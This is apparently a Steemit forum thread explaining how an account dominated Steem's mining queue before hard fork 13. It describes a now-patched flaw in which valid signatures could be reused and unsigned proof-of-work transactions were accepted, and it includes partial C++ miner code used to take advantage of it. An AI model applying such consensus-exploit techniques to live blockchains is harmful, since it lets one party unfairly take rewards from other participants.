More Info About How @supercomputing Was Dominating The Mining Queue

@arhag wrote a post described how @supercomputing was able to dominate the mining queue before hard fork 13.

Here is the old algorithm described in @arhag's post:

1) hash1     = SHA256(latest_block_id)

2) hash2     = hash1 except for the first 64-bits replaced by some nonce (basically some random number selected to try to make the final work value have a sufficient number of leading 0 bits)

3) input     = SHA256(hash2)

4) sig       = ECDSA signature (in 65-byte format) of input using d (the active private key) and k (which is just another nonce used for signing)

5) sig_hash  = SHA256(sig)

6) pubkey    = Recover public key (33-byte format) corresponding to the private key that would have signed sig_hash with signature sig

7) work      = SHA256(pubkey)

work must have sufficient number of leading 0 bits matching the current mining difficulty target

In the post @arhag described:

... quickly (within a millisecond) calculate the corresponding private key necessary to make the new PoW valid according to the mining algorithm ... With the appropriate active private key d computed, the attacker can then change their account's active public key to the one corresponding to the private key ...

But there is a hole in the description, because the private key of a given signature shouldn't be so quickly to be resolved -- it's the nature of ECC algo.

Actually, with the old algorithm, to submit a PoW, an attacker doesn't need to know the private key.

When an attacker got an input with latest head_block_id and whatever nounce in step 3), and if she already have a known will-work sig in step 4), she can simply recover the public key (which is needed to put into the PoW operation) with the same method used in step 6). In addition, because a transaction contains only a PoW operation requires no signature (which is another hole in the old algo which got fixed in new algo), the PoW will be accepted by other nodes.

But there is a hole in the description, because the private key of a given signature shouldn't be so quickly to be resolved -- it's the nature of ECC algo.

Is it bad?

she can simply recover the public key (which is needed to put into the PoW operation) with the same method used in step 6

because a transaction contains only a PoW operation requires no signature (which is another hole in the old algo which got fixed in new algo)

Good point.

That means the implementation of the exploit was actually easier than I thought because it didn't require messing around the libsecp256k1 function implementations. The existing APIs could have been used to get the active public key, and that's most likely what was used by @supercomputing.

I don't know if @supercomputing was doing so with API call. But here is the code I used to compete with @supercomputing, you can see, only need one line to get the public key:

//construct pow operation
          chain::pow_operation op;
          op.block_id = block_id;
          op.worker_account = miner;
          op.nonce = start + thread_num;
          op.props = _miner_prop_vote;

// some code omitted here to find a working sig from local db

               op.work.signature = sig;
               op.work.work = work;
               op.work.input = op.work_input();
               //calculate worker
               op.work.worker = fc::ecc::public_key( sig, op.work.input, false );

// construct transaction
...

Thank you for information. Now I will keep in mind.

原來是 POW 作業時不需簽名中有流程代碼的漏洞，在hard Fork 13版以後应該修正了吧？！

新版的挖矿算法严谨多了，暂时还没找到漏洞。
老版也是运行几个月了才有人发现这个，虽然是比较低级的错误。

Now, it seems that the mining queue is dominated by the "rabbit" servers.
I wonder if it's necessary to do another fork to fix this:

Can somebody explain what is going on?
Thanks

Probably a GPU miner cluster.

I understand there is only CPU mining for Steem

Only GUI miner is PUBLIC. They're probably using private miner software.

I thought the idea was to reward ALL participants in the system according to their efforts.
That's a very unfair and centralized way of dealing with the POWs
Maybe this conduct should be reviewed and fixed.